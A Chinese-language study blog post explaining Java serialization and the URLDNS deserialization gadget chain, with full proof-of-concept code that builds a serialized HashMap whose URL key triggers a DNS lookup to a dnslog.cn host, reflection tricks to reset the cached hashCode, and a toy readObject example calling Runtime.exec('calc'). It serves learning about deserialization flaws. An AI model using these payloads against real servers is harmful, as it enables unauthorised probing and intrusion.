java反序列化和序列化&URLDNS链 1 2 3 参考https://github.com/bfengj/CTF/blob/main/Web/java/Java%E5%9F%BA%E7%A1%80/Java-%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.md https://sun1028.top/2025/09/14/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96urldns%e9%93%be/ https://blog.csdn.net/mocas_wang/article/details/107621010
序列化与反序列化 Java序列化 是指把Java对象转换为字节序列的过程;而Java反序列化 是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流 ,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例
为什么 当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
相关的方法 ObjectOutputStream 类的 writeObject() 方法可以实现序列化。(标准约定是给文件一个 .ser 扩展名)
ObjectInputStream 类的 readObject() 方法用于反序列化
前提 只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) ,而且所有属性必须是可序列化的(transient 关键字修饰的属性除外,不参与序列化过程)
Serializable接口如下
1 2 public interface Serializable { }
可以发现这是一个空接口,因此这仅仅是一个标识接口,意味着实现了这个接口的类可以进行序列化/反序列化。
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
Externalizable接口
1 public interface Externalizable extends java.io.Serializable {
发现这个是继承Serializable接口的接口,不过这个接口使用起来是有点麻烦
1 2 3 4 我们需要手动编写 writeExternal()方法和readExternal()方法 , 这两个方法将取代定制好的 writeObject()方法和 readObject()方法 . 那什么时候会使用 Externalizable 接口呢 ? 当我们仅需要序列化类中的某个属性 , 此时就可以通过 Externalizable 接口中的 writeExternal() 方法来指定想要序列化的属性 . 同理 , 如果想让某个属性被反序列化 , 通过 readExternal() 方法来指定该属性就可以了. 此外 , Externalizable 序列化/反序列化还有一些其他特性 , 比如 readExternal() 方法在反序列化时会调用默认构造函数 , 实现 Externalizable 接口的类必须要提供一个 Public 修饰的无参构造函数等等
一般都是去使用Serializable这个接口
ObjectOutputStream
简介
1 2 3 4 5 6 7 8 ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream。 可以使用ObjectInputStream读取(重构)对象。 可以通过使用流的文件来完成对象的持久存储。 如果流是网络套接字流,则可以在另一个主机或另一个进程中重新构建对象。 只有支持java.io.Serializable接口的对象才能写入流。 每个可序列化对象的类都被编码,包括类的类名和签名,对象的字段和数组的值,以及从初始对象引用的任何其他对象的闭包。 writeObject方法用于将对象写入流。 任何对象,包括字符串和数组,都是用writeObject编写的。 可以将多个对象或基元写入流中。 必须从相应的ObjectInputstream中读取对象,这些对象具有与写入时相同的类型和顺序。 也可以使用DataOutput中的适当方法将原始数据类型写入流中。 也可以使用writeUTF方法编写字符串。 对象的默认序列化机制会写入对象的类,类签名以及所有非瞬态和非静态字段的值。 对其他对象的引用(瞬态或静态字段除外)也会导致这些对象被写入。 使用引用共享机制对对单个对象的多个引用进行编码,以便可以将对象的图形恢复为与写入原始图像时相同的形状。
关键点就在它的writeObject方法,将对象写入数据流中,说白一点就是将对象序列化。还需要注意,静态字段是不会被序列化的,后面的代码中也会提到这个。
ObjectInputStream
和ObjectOutputStream相反,可以将数据流重构成对象。
1 ObjectInputStream 类在重构对象时会从本地 JVM 虚拟机中加载对应的类 , 以确保重构时使用的类与被序列化的类是同一个 . 也就是说 : 反序列化进程的 JVM 虚拟机中必须加载被序列化的类 .
1 2 3 4 public final Object readObject () throws IOException, ClassNotFoundException { return readObject(Object.class); }
具体的实现就不用去管了,可以看到它的返回值是Object,因此还需要通过强制类型转换成预期的类型。
具体实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import java.io.*;class User implements Serializable { public String name; public User (String name) { this .name = name; } } public class SerializationDemo { public static void main (String[] args) { User user = new User ("Wea5e1" ); try (FileOutputStream fos = new FileOutputStream ("user.ser" ); ObjectOutputStream oos = new ObjectOutputStream (fos)) { oos.writeObject(user); System.out.println("序列化成功!" ); System.out.println(user); } catch (IOException e) { e.printStackTrace(); } try (FileInputStream fis = new FileInputStream ("user.ser" ); ObjectInputStream ois = new ObjectInputStream (fis)) { User deserializedUser = (User) ois.readObject(); System.out.println("反序列化出的用户名为: " + deserializedUser.name); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
代码的逻辑非常简单,就是把Wea5e1去写入到user,ser文件里面,然后去通过反序列化去读取出来
我们可以看到 整个大致的流程就是指把Java对象转换为字节序列的过程然后去通过反序列化把字节序列恢复为Java对象的过程。
整个过程没有任何的问题,序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码
Java反序列化漏洞 什么是反序列化漏洞? Java反序列化 了被恶意修改 的序列化对象 (须是服务器中存在的对象或者依赖包中的对象)。
根据官方的解释
任何实现Serializable接口的Class都可以定义自己的readObject()方法,只要在重写方法的同时执行了defaultReadObject()方法即可。这样在反序列化的时候会自动invoke该Class下自己定义的readObject()方法。官方可能是想让开发的时候更加灵活一点
那么我们可以为Class重写一个它自己的readObject()的方法,里面带有恶意执行代码,让Java去反序列化这个我们修改后的Object,这样readObject()被执行的时候,恶意代码也就被执行了。
这里去引用白日梦想家师傅的课件
1 https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.337.search-card.all.click&vd_source=a6499c8d882cb6d106922aae77725c31
1 2 3 4 5 6 try (FileInputStream fis = new FileInputStream ("user.ser" ); ObjectInputStream ois = new ObjectInputStream (fis)) { User deserializedUser = (User) ois.readObject(); Runtime.getRuntime().exec("calc" ); System.out.println("反序列化出的用户名为: " + deserializedUser.name);
这里我们去添加了可以去命令执行的操作,但是实际里面开发根本不会去使用,因此我们需要去考虑java自己带的。
URLDNS链 这个也是最基础最简单的链子,利用 java 内置类构造,对第三方没有任何依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package org.example;import java.io.*;import java.lang.reflect.Field;import java.net.*;import java.util.HashMap;public class URLDNS { public static void main (String[] args) throws Exception { HashMap ht = new HashMap (); String url = "http://ehmruy.dnslog.cn" ; URLStreamHandler handler = new TestURLStreamHandler (); URL u = new URL (null ,url,handler); ht.put(u,url); Class clazz = Class.forName("java.net.URL" ); Field field = clazz.getDeclaredField("hashCode" ); field.setAccessible(true ); field.set(u,-1 ); byte [] bytes = serialize(ht); unserialize(bytes); } public static byte [] serialize(Object o) throws Exception { ByteArrayOutputStream bout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (bout); oout.writeObject(o); byte [] bytes = bout.toByteArray(); oout.close(); bout.close(); return bytes; } public static Object unserialize (byte [] bytes) throws Exception{ ByteArrayInputStream bin = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bin); return oin.readObject(); } } class TestURLStreamHandler extends URLStreamHandler { @Override protected URLConnection openConnection (URL u) throws IOException { return null ; } @Override protected synchronized InetAddress getHostAddress (URL u) { return null ; } }
URLDNS 利用链路
1 2 3 4 HashMap.readObject() HashMap.putVal() HashMap.hash() Url.hashCode()
首先,在java里面去进行DNS请求,需要实现的类是URL这个类,
1 2 public final class URL implements java .io.Serializable {发现URl继承了ser这个接口
然后去找常见的函数,hashcode()这个函数
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
发现在调用handler.hashCode(this);,跟进这个hashCode,发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); }
发现getHostAddress(u);,根据域名去获得地址,也就是去发送DNS请求
1 Url.hashCode() -> URLStreamHandler.getHostAddress
至于入口类,应该是重写readObject调用常见的函数参数类型宽泛最好jdk自带,直接就是个map,这里去选择HashMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); float lf = fields.get("loadFactor" , 0.75f ); if (lf <= 0 || Float.isNaN(lf)) throw new InvalidObjectException ("Illegal load factor: " + lf); lf = Math.clamp(lf, 0.25f , 4.0f ); HashMap.UnsafeHolder.putLoadFactor(this , lf); reinitialize(); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) { throw new InvalidObjectException ("Illegal mappings count: " + mappings); } else if (mappings == 0 ) { } else if (mappings > 0 ) { double dc = Math.ceil(mappings / (double )lf); int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (dc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )dc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
1 2 3 4 static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
而在readObject.hash -> hashCode() 至此成功闭合
1 HashMap.readObject.hash -> hashCode() -> Url.hashCode() -> URLStreamHandler.getHostAddress
链子也是非常简单
1 2 3 HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); //去new一个hasgmap hashmap.put(new URL("http://bcnknf.dnslog.cn"),1);//put URL serialize(hashmap); //去序列化
不过我们发现
然后我们会去发现有两个,我们就会发现其实是序列化的自己去进行了DNS请求,而且反序列化并没有去执行
问题在哪里呢
1 2 3 public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
跟进put,发现put -> putVal -> hash -> hashcode
而且
1 2 3 4 5 6 7 public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
在这里hashCode != -1 !-> handler.hashCode(this); 不过hashCode在初始化的时候就成为了-1,然后当我去put的时候,他就是不是-1了,而是去变成了url的code了,那我反序列化的时候也不是-1,因此根本就没有走到
因此,这个代码有两个问题去解决
1 2 3 4 5 HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); hashmap.put(new URL("http://nd9ogg.dnslog.cn"),1); //这里不要发起请求 serialize(hashmap); //改回-1 //改变属性,不就是利用反射吗
这里就是通过反射去设置haCode = -1 或者等于其他的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.example;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Ser { public static void main (String[] args) throws Exception { HashMap<URL, Integer> map = new HashMap <>(); URL url = new URL ("http://pwhsbk.dnslog.cn" ); Class<?> clazz = url.getClass(); Field hashCodeField = clazz.getDeclaredField("hashCode" ); hashCodeField.setAccessible(true ); hashCodeField.set(url, 123 ); map.put(url, 1 ); hashCodeField.set(url, -1 ); ser(map); unser(); } public static void ser (Object o) throws IOException { System.out.println("序列化开始" ); try (ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" ))) { oos.writeObject(o); } System.out.println("序列化结束" ); } public static void unser () throws IOException, ClassNotFoundException { System.out.println("反序列化开始" ); try (ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" ))) { Object o = ois.readObject(); System.out.println("反序列化完成,对象类型: " + o.getClass().getName()); } System.out.println("反序列化结束" ); } }
有人问了,反射有点乱怎么办(其实是我问的),来个图片就知道了
补充:反射
趁热打铁,抓紧时间去看看CC1链子了